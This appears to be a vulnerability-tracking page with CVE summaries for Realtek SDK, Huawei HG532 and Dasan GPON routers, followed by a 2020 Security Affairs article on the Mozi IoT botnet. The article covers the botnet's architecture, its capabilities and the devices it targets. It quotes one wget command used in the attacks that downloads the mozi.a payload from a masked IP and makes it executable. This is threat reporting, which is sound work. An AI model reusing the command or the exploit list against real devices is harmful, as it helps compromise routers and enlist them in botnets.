Mozi Botnet is responsible for most of the IoT Traffic
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2014-8361 | Improper Input Validation in Realtek SDK miniigd SOAP Service Enables Remote RCE The Realtek SDK, a software development kit embedded in routers, gateways, and similar network equipment sold under many OEM brands, contains an improper input validation flaw (CWE-20) in its miniigd UPnP SOAP service. A remote, unauthenticated attacker can trigger it by sending a crafted NewInternalClient request to the vulnerable SOAP interface, causing execution of malicious code on the device. Successful exploitation gives attackers control of affected devices, which can be used for botnet recruitment, staging further attacks, or ransomware operations. Affected parties are owners of devices built on the Realtek SDK, particularly routers and gateways with the UPnP service exposed to the internet. Exploitation is ongoing: CISA added the flaw to the Known Exploited Vulnerabilities catalog on 2023-09-18 and EPSS assigns it a 100% probability of exploitation within 30 days, though ransomware use is not confirmed. Do: Inventory devices that use the Realtek SDK and check whether the miniigd UPnP/SOAP service is reachable from untrusted networks; apply firmware updates from your device vendor as soon as available, or per CISA's required action, disable UPnP or block the service from internet exposure if mitigations are unavailable. No patch level is published in this dataset, so verify fix status against OEM advisories and review device logs for crafted NewInternalClient SOAP requests. | — | 100% | KEV |
| mass≈1,000,000+ devices (hundreds of thousands of internet-exposed hosts observed in public scans; SDK embedded in many OEM routers) | |
| CVE-2017-17215 | Huawei HG532 with some customized versions has a remote code execution vulnerability. Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code. NVD description · AI analysis pending | 8.8 | 78% |
| — | ||
| CVE-2018-10562 +1 in the same advisory: …10561 | Unauthenticated RCE in Dasan GPON Routers (CVE-2018-10562) CVE-2018-10562 is an OS command injection flaw (CWE-78) in the web management interface of Dasan GPON home routers. When chained with the companion authentication bypass CVE-2018-10561, a remote, unauthenticated attacker can send crafted requests that execute arbitrary commands on the device. Successful exploitation yields full control of the router, enabling device takeover, botnet enrollment, and, per CISA, use in ransomware operations. Anyone operating an affected Dasan GPON router — many of which were deployed by internet service providers — is affected, and CISA notes the impacted products are end-of-life. Exploitation is confirmed in the wild: the flaw is in CISA's KEV (added 2022-03-31) with known ransomware use and a 100% EPSS probability of exploitation within 30 days. Do: Because the product line is end-of-life and CISA's required action is to disconnect impacted devices if still in use, retire or replace affected routers rather than patching in place. If replacement must wait, block or firewall the web management interface from the internet, check the device for signs of compromise, and ensure the related authentication-bypass path CVE-2018-10561 is also closed. | 9.8 | 100% | KEV ransomware PoC ×2 |
| mass≈1 million internet-exposed devices (public scan counts around the 2018 disclosure) |
Full article755 words · extracted from securityaffairs.com · click to collapse
Pierluigi Paganini
September 20, 2020
The Mozi botnet accounted for 90% of the IoT network traffic observed between October 2019 and June 2020, IBM reported.
Mozi is an IoT botnet that borrows the code from Mirai variants and the Gafgyt malware, it appeared on the threat landscape in late 2019.
The Mozi botnet was spotted by security experts from 360 Netlab, at the time of its discovered it was actively targeting Netgear, D-Link, and Huawei routers by probing for weak Telnet passwords to compromise them.
According to the researchers, in the last months of 2019, the botnet was mainly involved in DDoS attacks.
It implements a custom extended Distributed Hash Table (DHT) protocol that provides a lookup service similar to a hash table ([key, value]).
“Mozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network.” reads the analysis published by the experts. “The sample spreads via Telnet with weak passwords and some known exploits (see the list below). In terms of functions, the execution of the instructions of each node in the Mozi botnet is driven by a Payload called Config issued by the Botnet Master.”
This kind of implementation makes it simple to add/remove nodes with minimum workaround re- keys.
The Mozi Botnet uses its own implementation of the extended DHT protocol to build a P2P network.
The malware spreads by attempting to guess Telnet passwords of target devices and leveraging known exploits. Once gained access to the device, the bot attempt to execute a malicious payload and the bot will automatically join the Mozi P2P network.
The botnet supports the following capabilities:
- DDoS attack
- Collecting Bot Information
- Execute the payload of the specified URL
- Update the sample from the specified URL
- Execute system or custom commands
According to a new report published by IBM, the Mozi botnet accounted for 90% of the IoT network traffic observed between October 2019 and June 2020. This percentage is impressive if we consider that unlike other bots it did not attempt to remove competitors from compromised devices.
Researchers believe that Mozi operators target poorly configured devices, but one of the factors that sustained the surge in IoT attacks is the “ever-expanding IoT landscape” for threat actors to target. Experts explained that there are about 31 billion IoT devices deployed around the globe, and the IoT deployment rate is now 127 devices per second.
“IBM research suggests Mozi continues to be successful largely through the use of command injection (CMDi) attacks, which often result from the misconfiguration of IoT devices.” reads the report published by IBM. “The continued growth of IoT usage and poor configuration protocols are the likely culprits behind this jump. This increase may have been fueled further by corporate networks being accessed remotely more often due to COVID-19.”
CMDi attacks are quite common against IoT devices, in the case of Mozi attacks, threat actors leverage CMDi by using a “wget” shell command and then altering permissions to allow the hackers to interact with the affected system.
In recent Mozi attacks, threat actors used the following command to determine if the device is vulnerable to a CMDi, then they would download and execute the “mozi.a” file.
wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a
“Our analysis of this particular sample indicates the file executes on microprocessor without interlocked pipelined stages (MIPS) architecture. This is an extension understood by machines running reduced instruction set computer (RISC) architecture, which is prevalent on many IoT devices.” continues the analysis. “Once the attacker gains full access to the device through the botnet, the firmware level can be changed and additional malware can be planted on the device.”
The Mozi botnet targets the following devices:
| Affected Device | Vulnerability |
| Eir D1000 Router | Eir D1000 Wireless Router RCI |
| Vacron NVR devices | Vacron NVR RCE |
| Devices using the Realtek SDK | CVE-2014-8361 |
| Netgear R7000 and R6400 | Netgear cig-bin Command Injection |
| DGN1000 Netgear routers | Netgear setup.cgi unauthenticated RCE |
| MVPower DVR | JAWS Webserver unauthenticated shell command execution |
| Huawei Router HG532 | CVE-2017-17215 |
| D-Link Devices | HNAP SoapAction-Header Command Execution |
| GPON Routers | CVE-2018-10561, CVE-2018-10562 |
| D-Link Devices | UPnP SOAP TelnetD Command Execution |
| CCTV DVR | CCTV/DVR Remote Code Execution |
IBM researchers discovered that the infrastructure used by the Mozi botnet is primarily located in China (84%).
The report published by IBM includes additional details about the botnet, including Indicators of Compromise (IoCs).
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(SecurityAffairs – hacking, Mozi botnet)
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Text extracted automatically; images, tables and formatting may be missing. Original: https://securityaffairs.com/108537/malware/mozi-botnet-iot-traffic.html